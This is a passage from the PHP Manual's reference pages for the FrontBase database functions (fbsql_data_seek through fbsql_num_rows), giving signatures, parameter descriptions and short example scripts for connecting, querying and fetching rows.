$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
if (fbsql_create_db("my_db")) {
    echo "Database created successfully\n";
} else {
    printf("Error creating database: %s\n", fbsql_error());
}
?>

See Also

  • fbsql_drop_db() - Drop (delete) a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_create_clob
fbsql_data_seek
FrontBase Functions


Move internal result pointer

fbsql_create_db
fbsql_database_password
FrontBase Functions
PHP Manual

fbsql_data_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_data_seek — Move internal result pointer

Description

bool fbsql_data_seek ( resource $result , int $row_number )

Moves the internal row pointer of the FrontBase result associated with the specified result identifier to point to the specified row number.

The next call to fbsql_fetch_row() would return that row.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

row_number

The row number. Starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 fbsql_data_seek() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");

fbsql_select_db("samp_db")
    or die("Could not select database");

$query = "SELECT last_name, first_name FROM friends;";
$result = fbsql_query($query)
    or die("Query failed");

// fetch rows in reverse order

for ($i = fbsql_num_rows($result) - 1; $i >=0; $i--) {
    if (!fbsql_data_seek($result, $i)) {
        printf("Cannot seek to row %d\n", $i);
        continue;
    }

    if (!($row = fbsql_fetch_object($result)))
        continue;

    echo $row->last_name . $row->first_name . "<br />\n";
}

fbsql_free_result($result);
?>

User Contributed Notes

There are no user contributed notes for this page.
fbsql_create_db
fbsql_database_password
FrontBase Functions


Sets or retrieves the password for a FrontBase database

fbsql_data_seek
fbsql_database
FrontBase Functions
PHP Manual

fbsql_database_password

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database_password — Sets or retrieves the password for a FrontBase database

Description

string fbsql_database_password ( resource $link_identifier [, string $database_password ] )

Sets and retrieves the database password used by the connection. If a database is protected by a database password, the user must call this function before calling fbsql_select_db().

If no link is open, the function will try to establish a link as if fbsql_connect() was called, and use it.

This function does not change the database password in the database nor can it be used to retrieve the database password for a database.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database_password

The database password, as a string. If given, the function sets the database password for the specified link identifier.

Return Values

Returns the database password associated with the link identifier.

Examples

Example #1 fbsql_create_clob() example

<?php
$link = fbsql_pconnect("localhost", "_SYSTEM", "secret")
    or die("Could not connect");
fbsql_database_password($link, "secret db password");
fbsql_select_db($database, $link);
?>

See Also

  • fbsql_connect() - Open a connection to a FrontBase Server
  • fbsql_pconnect() - Open a persistent connection to a FrontBase Server
  • fbsql_select_db() - Select a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_data_seek
fbsql_database
FrontBase Functions


Get or set the database name used with a connection

fbsql_database_password
fbsql_db_query
FrontBase Functions
PHP Manual

fbsql_database

(PHP 4 >= 4.0.6, PHP 5)

fbsql_database — Get or set the database name used with a connection

Description

string fbsql_database ( resource $link_identifier [, string $database ] )

Get or set the database name used with the connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

database

The database name. If given, the default database of the connexion will be changed to database.

Return Values

Returns the name of the database used with this connection.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_database_password
fbsql_db_query
FrontBase Functions


Send a FrontBase query

fbsql_database
fbsql_db_status
FrontBase Functions
PHP Manual

fbsql_db_query

(PHP 4 >= 4.0.6, PHP 5)

fbsql_db_query — Send a FrontBase query

Description

resource fbsql_db_query ( string $database , string $query [, resource $link_identifier ] )

Selects a database and executes a query on it.

Parameters

database

The database to be selected.

query

The SQL query to be executed.

Note:

The query string shall always end with a semicolon.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a positive FrontBase result identifier to the query result, or FALSE on error.

See Also

  • fbsql_query() - Send a FrontBase query
  • fbsql_connect() - Open a connection to a FrontBase Server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_database
fbsql_db_status
FrontBase Functions


Get the status for a given database

fbsql_db_query
fbsql_drop_db
FrontBase Functions
PHP Manual

fbsql_db_status

(PHP 4 >= 4.0.7, PHP 5)

fbsql_db_status — Get the status for a given database

Description

int fbsql_db_status ( string $database_name [, resource $link_identifier ] )

Gets the current status of the specified database.

Parameters

database_name

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns an integer value with the current status. This can be one of the following constants:

  • FALSE - The exec handler for the host was invalid. This error will occur when the link_identifier connects directly to a database by using a port number. FBExec can be available on the server but no connection has been made for it.
  • FBSQL_UNKNOWN - The Status is unknown.
  • FBSQL_STOPPED - The database is not running. Use fbsql_start_db() to start the database.
  • FBSQL_STARTING - The database is starting.
  • FBSQL_RUNNING - The database is running and can be used to perform SQL operations.
  • FBSQL_STOPPING - The database is stopping.
  • FBSQL_NOEXEC - FBExec is not running on the server and it is not possible to get the status of the database.

See Also

  • fbsql_start_db() - Start a database on local or remote server
  • fbsql_stop_db() - Stop a database on local or remote server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_db_query
fbsql_drop_db
FrontBase Functions


Drop (delete) a FrontBase database

fbsql_db_status
fbsql_errno
FrontBase Functions
PHP Manual

fbsql_drop_db

(PHP 4 >= 4.0.6, PHP 5)

fbsql_drop_db — Drop (delete) a FrontBase database

Description

bool fbsql_drop_db ( string $database_name [, resource $link_identifier ] )

fbsql_drop_db() attempts to drop (remove) an entire database from the server associated with the specified link identifier.

Parameters

database_name

The database name, as a string.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_create_db() - Create a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_db_status
fbsql_errno
FrontBase Functions


Returns the error number from previous operation

fbsql_drop_db
fbsql_error
FrontBase Functions
PHP Manual

fbsql_errno

(PHP 4 >= 4.0.6, PHP 5)

fbsql_errno — Returns the error number from previous operation

Description

int fbsql_errno ([ resource $link_identifier ] )

Returns the numerical value of the error message from previous FrontBase operation.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_errno() to retrieve the error code. Note that this function only returns the error code from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the error number from the last fbsql function, or 0 (zero) if no error occurred.

Examples

Example #1 fbsql_errno() Example

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See Also

  • fbsql_error() - Returns the error message from previous operation
  • fbsql_warnings() - Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.
fbsql_drop_db
fbsql_error
FrontBase Functions


Returns the error message from previous operation

fbsql_errno
fbsql_fetch_array
FrontBase Functions
PHP Manual

fbsql_error

(PHP 4 >= 4.0.6, PHP 5)

fbsql_error — Returns the error message from previous operation

Description

string fbsql_error ([ resource $link_identifier ] )

Returns the error message from previous FrontBase operation.

Errors coming back from the fbsql database backend don't issue warnings. Instead, use fbsql_error() to retrieve the error text. Note that this function only returns the error code from the most recently executed fbsql function (not including fbsql_error() and fbsql_errno()), so if you want to use it, make sure you check the value before calling another fbsql function.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the error text from the last fbsql function, or '' (the empty string) if no error occurred.

Examples

Example #1 fbsql_error() Example

<?php
fbsql_connect("marliesle");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
fbsql_select_db("nonexistentdb");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
$conn = fbsql_query("SELECT * FROM nonexistenttable;");
echo fbsql_errno() . ": " . fbsql_error() . "<br />";
?>

See Also

  • fbsql_errno() - Returns the error number from previous operation
  • fbsql_warnings() - Enable or disable FrontBase warnings

User Contributed Notes

There are no user contributed notes for this page.
fbsql_errno
fbsql_fetch_array
FrontBase Functions


Fetch a result row as an associative array, a numeric array, or both

fbsql_error
fbsql_fetch_assoc
FrontBase Functions
PHP Manual

fbsql_fetch_array

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_array — Fetch a result row as an associative array, a numeric array, or both

Description

array fbsql_fetch_array ( resource $result [, int $result_type ] )

fbsql_fetch_array() is a combination of
fbsql_fetch_row() and
fbsql_fetch_assoc().

An important thing to note is that using fbsql_fetch_array() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

result_type

A constant and can take the following values: FBSQL_ASSOC, FBSQL_NUM, or FBSQL_BOTH.

When using FBSQL_BOTH, in addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must the numeric index of the column or make an alias for the column.

select t1.f1 as foo t2.f1 as bar from t1, t2

Examples

Example #1 fbsql_fetch_array() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select user_id, fullname from table");
while ($row = fbsql_fetch_array($result)) {
    echo "user_id: " . $row["user_id"] . "<br />\n";
    echo "user_id: " . $row[0] . "<br />\n";
    echo "fullname: " . $row["fullname"] . "<br />\n";
    echo "fullname: " . $row[1] . "<br />\n";
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.
fbsql_error
fbsql_fetch_assoc
FrontBase Functions


Fetch a result row as an associative array

fbsql_fetch_array
fbsql_fetch_field
FrontBase Functions
PHP Manual

fbsql_fetch_assoc

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_assoc — Fetch a result row as an associative array

Description

array fbsql_fetch_assoc ( resource $result )

Calling fbsql_fetch_assoc() is equivalent to calling fbsql_fetch_array() with FBSQL_ASSOC as second parameter. It only returns an associative array.

This is the way fbsql_fetch_array() originally worked. If you need the numeric indices as well as the associative, use fbsql_fetch_array().

An important thing to note is that using fbsql_fetch_assoc() is NOT significantly slower than using fbsql_fetch_row(), while it provides a significant added value.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an associative array that corresponds to the fetched row, or FALSE if there are no more rows.

If two or more columns of the result have the same field names, the last column will take precedence. To access the other column(s) of the same name, you must use fbsql_fetch_array() and have it return the numeric indices as well.

Examples

Example #1 fbsql_fetch_assoc() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_assoc($result)) {
    echo $row["user_id"];
    echo $row["fullname"];
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_object() - Fetch a result row as an object

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_array
fbsql_fetch_field
FrontBase Functions


Get column information from a result and return as an object

fbsql_fetch_assoc
fbsql_fetch_lengths
FrontBase Functions
PHP Manual

fbsql_fetch_field

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_field — Get column information from a result and return as an object

Description

object fbsql_fetch_field ( resource $result [, int $field_offset ] )

Used in order to obtain information about fields in a certain query result.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0. If not specified, the next field that wasn't yet retrieved by fbsql_fetch_field() is retrieved.

Return Values

Returns an object containing field information, or FALSE on errors.

The properties of the object are:

  • name - column name
  • table - name of the table the column belongs to
  • max_length - maximum length of the column
  • not_null - 1 if the column cannot be NULL
  • type - the type of the column

Examples

Example #1 fbsql_fetch_field() example

<?php
fbsql_connect($host, $user, $password)
    or die("Could not connect");
$result = fbsql_db_query("database", "select * from table")
    or die("Query failed");
# get column metadata
$i = 0;
while ($i < fbsql_num_fields($result)) {
    echo "Information for column $i:<br />\n";
    $meta = fbsql_fetch_field($result);
    if (!$meta) {
        echo "No information available<br />\n";
    }
    echo "<pre>
max_length:   $meta->max_length
name:         $meta->name
not_null:     $meta->not_null
table:        $meta->table
type:         $meta->type
</pre>";
    $i++;
}
fbsql_free_result($result);
?>

See Also

  • fbsql_field_seek() - Set result pointer to a specified field offset

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_assoc
fbsql_fetch_lengths
FrontBase Functions


Get the length of each output in a result

fbsql_fetch_field
fbsql_fetch_object
FrontBase Functions
PHP Manual

fbsql_fetch_lengths

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_lengths — Get the length of each output in a result

Description

array fbsql_fetch_lengths ( resource $result )

Stores the lengths of each result column in the last row returned by
fbsql_fetch_row(),
fbsql_fetch_array() and
fbsql_fetch_object() in an array.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an array, starting at offset 0, that corresponds to the lengths of each field in the last row fetched by fbsql_fetch_row(), or FALSE on error.

See Also

  • fbsql_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_field
fbsql_fetch_object
FrontBase Functions


Fetch a result row as an object

fbsql_fetch_lengths
fbsql_fetch_row
FrontBase Functions
PHP Manual

fbsql_fetch_object

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_object — Fetch a result row as an object

Description

object fbsql_fetch_object ( resource $result )

fbsql_fetch_object() is similar to fbsql_fetch_array(), with one difference - an object is returned, instead of an array. Indirectly, that means that you can only access the data by the field names, and not by their offsets (numbers are illegal property names).

Speed-wise, the function is identical to fbsql_fetch_array(), and almost as quick as fbsql_fetch_row() (the difference is insignificant).

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 fbsql_fetch_object() example

<?php
fbsql_connect($host, $user, $password);
$result = fbsql_db_query("database", "select * from table");
while ($row = fbsql_fetch_object($result)) {
    echo $row->user_id;
    echo $row->fullname;
}
fbsql_free_result($result);
?>

See Also

  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_row() - Get a result row as an enumerated array
  • fbsql_fetch_assoc() - Fetch a result row as an associative array

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_lengths
fbsql_fetch_row
FrontBase Functions


Get a result row as an enumerated array

fbsql_fetch_object
fbsql_field_flags
FrontBase Functions
PHP Manual

fbsql_fetch_row

(PHP 4 >= 4.0.6, PHP 5)

fbsql_fetch_row — Get a result row as an enumerated array

Description

array fbsql_fetch_row ( resource $result )

fbsql_fetch_row() fetches one row of data from the result associated with the specified result identifier.

Subsequent call to fbsql_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns an array that corresponds to the fetched row where each result column is stored in an offset, starting at offset 0, or FALSE if there are no more rows.

See Also

  • fbsql_fetch_array() - Fetch a result row as an associative array, a numeric array, or both
  • fbsql_fetch_assoc() - Fetch a result row as an associative array
  • fbsql_fetch_object() - Fetch a result row as an object
  • fbsql_data_seek() - Move internal result pointer
  • fbsql_fetch_lengths() - Get the length of each output in a result
  • fbsql_result() - Get result data

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_object
fbsql_field_flags
FrontBase Functions


Get the flags associated with the specified field in a result

fbsql_fetch_row
fbsql_field_len
FrontBase Functions
PHP Manual

fbsql_field_flags

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_flags — Get the flags associated with the specified field in a result

Description

string fbsql_field_flags ( resource $result [, int $field_offset ] )

Gets the flags associated with the specified field in a result.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the field flags of the specified field as a single word per flag separated by a single space, so that you can split the returned value using explode().

User Contributed Notes

There are no user contributed notes for this page.
fbsql_fetch_row
fbsql_field_len
FrontBase Functions


Returns the length of the specified field

fbsql_field_flags
fbsql_field_name
FrontBase Functions
PHP Manual

fbsql_field_len

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_len — Returns the length of the specified field

Description

int fbsql_field_len ( resource $result [, int $field_offset ] )

Returns the length of the specified field.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the length of the specified field.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_flags
fbsql_field_name
FrontBase Functions


Get the name of the specified field in a result

fbsql_field_len
fbsql_field_seek
FrontBase Functions
PHP Manual

fbsql_field_name

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_name — Get the name of the specified field in a result

Description

string fbsql_field_name ( resource $result [, int $field_index ] )

Returns the name of the specified field index.

Parameters

result

A result pointer returned by fbsql_list_fields().

field_index

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the name as a string, or FALSE if the field doesn't exist.

Examples

Example #1 fbsql_field_name() example

<?php
// The users table consists of three fields:
//   user_id
//   username
//   password.

$res = fbsql_db_query("users", "select * from users", $link);

echo fbsql_field_name($res, 0) . "\n";
echo fbsql_field_name($res, 2);
?>

The above example will output:

user_id
password

See Also

  • fbsql_field_type() - Get the type of the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_len
fbsql_field_seek
FrontBase Functions


Set result pointer to a specified field offset

fbsql_field_name
fbsql_field_table
FrontBase Functions
PHP Manual

fbsql_field_seek

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_seek — Set result pointer to a specified field offset

Description

bool fbsql_field_seek ( resource $result [, int $field_offset ] )

Seeks to the specified field offset. If the next call to fbsql_fetch_field() doesn't include a field offset, the field offset specified in fbsql_field_seek() will be returned.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fbsql_fetch_field() - Get column information from a result and return as an object

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_name
fbsql_field_table
FrontBase Functions


Get name of the table the specified field is in

fbsql_field_seek
fbsql_field_type
FrontBase Functions
PHP Manual

fbsql_field_table

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_table — Get name of the table the specified field is in

Description

string fbsql_field_table ( resource $result [, int $field_offset ] )

Returns the name of the table that the specified field is in.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the name of the table, as a string.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_seek
fbsql_field_type
FrontBase Functions


Get the type of the specified field in a result

fbsql_field_table
fbsql_free_result
FrontBase Functions
PHP Manual

fbsql_field_type

(PHP 4 >= 4.0.6, PHP 5)

fbsql_field_type — Get the type of the specified field in a result

Description

string fbsql_field_type ( resource $result [, int $field_offset ] )

fbsql_field_type() is similar to the fbsql_field_name() function, but the field type is returned instead.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

field_offset

The numerical offset of the field. The field index starts at 0.

Return Values

Returns the field type, as a string.

This can be one of int, real, string, blob, and others as detailed in the » FrontBase documentation.

Examples

Example #1 fbsql_field_type() example

<?php

fbsql_connect("localhost", "_SYSTEM", "");
fbsql_select_db("wisconsin");
$result = fbsql_query("SELECT * FROM onek;");
$fields = fbsql_num_fields($result);
$rows   = fbsql_num_rows($result);
$i = 0;
$table = fbsql_field_table($result, $i);
echo "Your '" . $table . "' table has " . $fields . " fields and " . $rows . " records <br />";
echo "The table has the following fields <br />";
while ($i < $fields) {
    $type  = fbsql_field_type($result, $i);
    $name  = fbsql_field_name($result, $i);
    $len   = fbsql_field_len($result, $i);
    $flags = fbsql_field_flags($result, $i);
    echo $type . " " . $name . " " . $len . " " . $flags . "<br />";
    $i++;
}
fbsql_close();

?>

See Also

  • fbsql_field_name() - Get the name of the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_table
fbsql_free_result
FrontBase Functions


Free result memory

fbsql_field_type
fbsql_get_autostart_info
FrontBase Functions
PHP Manual

fbsql_free_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_free_result — Free result memory

Description

bool fbsql_free_result ( resource $result )

Frees all memory associated with the given result identifier.

fbsql_free_result() only needs to be called if you are concerned about how much memory is being used for queries that return large result sets. All associated result memory is automatically freed at the end of the script's execution.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_field_type
fbsql_get_autostart_info
FrontBase Functions


fbsql_free_result
fbsql_hostname
FrontBase Functions
PHP Manual

fbsql_get_autostart_info

(PHP 4 >= 4.0.7, PHP 5)

fbsql_get_autostart_info —

Description

array fbsql_get_autostart_info ([ resource $link_identifier ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

User Contributed Notes

There are no user contributed notes for this page.
fbsql_free_result
fbsql_hostname
FrontBase Functions


Get or set the host name used with a connection

fbsql_get_autostart_info
fbsql_insert_id
FrontBase Functions
PHP Manual

fbsql_hostname

(PHP 4 >= 4.0.6, PHP 5)

fbsql_hostname — Get or set the host name used with a connection

Description

string fbsql_hostname ( resource $link_identifier [, string $host_name ] )

Gets or sets the host name used with a connection.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

host_name

If provided, this will be the new connection host name.

Return Values

Returns the current host name used for the connection.

See Also

  • fbsql_username() - Get or set the username for the connection
  • fbsql_password() - Get or set the user password used with a connection

User Contributed Notes

There are no user contributed notes for this page.
fbsql_get_autostart_info
fbsql_insert_id
FrontBase Functions


Get the id generated from the previous INSERT operation

fbsql_hostname
fbsql_list_dbs
FrontBase Functions
PHP Manual

fbsql_insert_id

(PHP 4 >= 4.0.6, PHP 5)

fbsql_insert_id — Get the id generated from the previous INSERT operation

Description

int fbsql_insert_id ([ resource $link_identifier ] )

Gets the id generated from the previous INSERT operation which created a DEFAULT UNIQUE value.

Note:

The value of the FrontBase SQL function fbsql_insert_id() always contains the most recently generated DEFAULT UNIQUE value, and is not reset between queries.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns the ID generated from the previous INSERT query, or 0 if the previous query does not generate an DEFAULT UNIQUE value.

If you need to save the value for later, be sure to call this function immediately after the query that generates the value.

See Also

  • fbsql_affected_rows() - Get number of affected rows in previous FrontBase operation

User Contributed Notes

There are no user contributed notes for this page.
fbsql_hostname
fbsql_list_dbs
FrontBase Functions


List databases available on a FrontBase server

fbsql_insert_id
fbsql_list_fields
FrontBase Functions
PHP Manual

fbsql_list_dbs

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_dbs — List databases available on a FrontBase server

Description

resource fbsql_list_dbs ([ resource $link_identifier ] )

Return a result pointer containing the databases available from the current fbsql daemon. Use the fbsql_tablename() to traverse this result pointer.

Parameters

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer or FALSE on error.

Examples

Example #1 fbsql_list_dbs() example

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');
$db_list = fbsql_list_dbs($link);

while ($row = fbsql_fetch_object($db_list)) {
    echo $row->Database . "\n";
}
?>

The above example will output something similar to:

database1
database2
database3
...

Note:

The above code would just as easily work with fbsql_fetch_row() or other similar functions.

See Also

  • fbsql_list_fields() - List FrontBase result fields
  • fbsql_list_tables() - List tables in a FrontBase database

User Contributed Notes

There are no user contributed notes for this page.
fbsql_insert_id
fbsql_list_fields
FrontBase Functions


List FrontBase result fields

fbsql_list_dbs
fbsql_list_tables
FrontBase Functions
PHP Manual

fbsql_list_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_fields — List FrontBase result fields

Description

resource fbsql_list_fields ( string $database_name , string $table_name [, resource $link_identifier ] )

Retrieves information about the given table.

Parameters

database_name

The database name.

table_name

The table name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer which can be used with the fbsql_field_xxx functions, or FALSE on error.

Errors/Exceptions

A string describing the error will be placed in $phperrmsg, and unless the function was called as @fbsql() then this error string will also be printed out.

Examples

Example #1 fbsql_list_fields() example

<?php
$link = fbsql_connect('localhost', 'myname', 'secret');

$fields = fbsql_list_fields("database1", "table1", $link);
$columns = fbsql_num_fields($fields);

for ($i = 0; $i < $columns; $i++) {
    echo fbsql_field_name($fields, $i) . "\n";;
}
?>

The above example will output something similar to:

field1
field2
field3
...

See Also

  • fbsql_field_len() - Returns the length of the specified field
  • fbsql_field_name() - Get the name of the specified field in a result
  • fbsql_field_type() - Get the type of the specified field in a result
  • fbsql_field_flags() - Get the flags associated with the specified field in a result

User Contributed Notes

There are no user contributed notes for this page.
fbsql_list_dbs
fbsql_list_tables
FrontBase Functions


List tables in a FrontBase database

fbsql_list_fields
fbsql_next_result
FrontBase Functions
PHP Manual

fbsql_list_tables

(PHP 4 >= 4.0.6, PHP 5)

fbsql_list_tables — List tables in a FrontBase database

Description

resource fbsql_list_tables ( string $database [, resource $link_identifier ] )

Returns a result pointer describing the database.

Parameters

database

The database name.

link_identifier

A FrontBase link identifier returned by fbsql_connect() or fbsql_pconnect().

If optional and not specified, the function will try to find an open link to the FrontBase server and if no such link is found it will try to create one as if fbsql_connect() was called with no arguments.

Return Values

Returns a result pointer which can be used with the fbsql_tablename() function to read the actual table names, or FALSE on error.

See Also

  • fbsql_list_fields() - List FrontBase result fields
  • fbsql_list_dbs() - List databases available on a FrontBase server

User Contributed Notes

There are no user contributed notes for this page.
fbsql_list_fields
fbsql_next_result
FrontBase Functions


Move the internal result pointer to the next result

fbsql_list_tables
fbsql_num_fields
FrontBase Functions
PHP Manual

fbsql_next_result

(PHP 4 >= 4.0.6, PHP 5)

fbsql_next_result — Move the internal result pointer to the next result

Description

bool fbsql_next_result ( resource $result )

When sending more than one SQL statement to the server or executing a stored procedure with multiple results will cause the server to return multiple result sets. This function will test for additional results available form the server. If an additional result set exists it will free the existing result set and prepare to fetch the words from the new result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns TRUE if an additional result set was available or FALSE otherwise.

Examples

Example #1 fbsql_next_result() example

<?php
$link = fbsql_connect("localhost", "_SYSTEM", "secret");
fbsql_select_db("MyDB", $link);
$SQL = "Select * from table1; select * from table2;";
$rs = fbsql_query($SQL, $link);
do {
    while ($row = fbsql_fetch_row($rs)) {
    }
} while (fbsql_next_result($rs));
fbsql_free_result($rs);
fbsql_close($link);
?>

User Contributed Notes

There are no user contributed notes for this page.
fbsql_list_tables
fbsql_num_fields
FrontBase Functions


Get number of fields in result

fbsql_next_result
fbsql_num_rows
FrontBase Functions
PHP Manual

fbsql_num_fields

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_fields — Get number of fields in result

Description

int fbsql_num_fields ( resource $result )

Returns the number of fields in the given result set.

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of fields, as an integer.

See Also

  • fbsql_db_query() - Send a FrontBase query
  • fbsql_query() - Send a FrontBase query
  • fbsql_fetch_field() - Get column information from a result and return as an object
  • fbsql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.
fbsql_next_result
fbsql_num_rows
FrontBase Functions


Get number of rows in result

fbsql_num_fields
fbsql_password
FrontBase Functions
PHP Manual

fbsql_num_rows

(PHP 4 >= 4.0.6, PHP 5)

fbsql_num_rows — Get number of rows in result

Description

int fbsql_num_rows ( resource $result )

Gets the number of rows in the given result set.

This function is only valid for SELECT statements. To retrieve the number of rows returned from a INSERT, UPDATE or DELETE query, use fbsql_affected_rows().

Parameters

result

A result identifier returned by fbsql_query() or fbsql_db_query().

Return Values

Returns the number of rows returned by the last SELECT statement.

Examples

Example #1 fbsql_num_rows() example

<?php

$link = fbsql_connect("localhost", "username", "password");
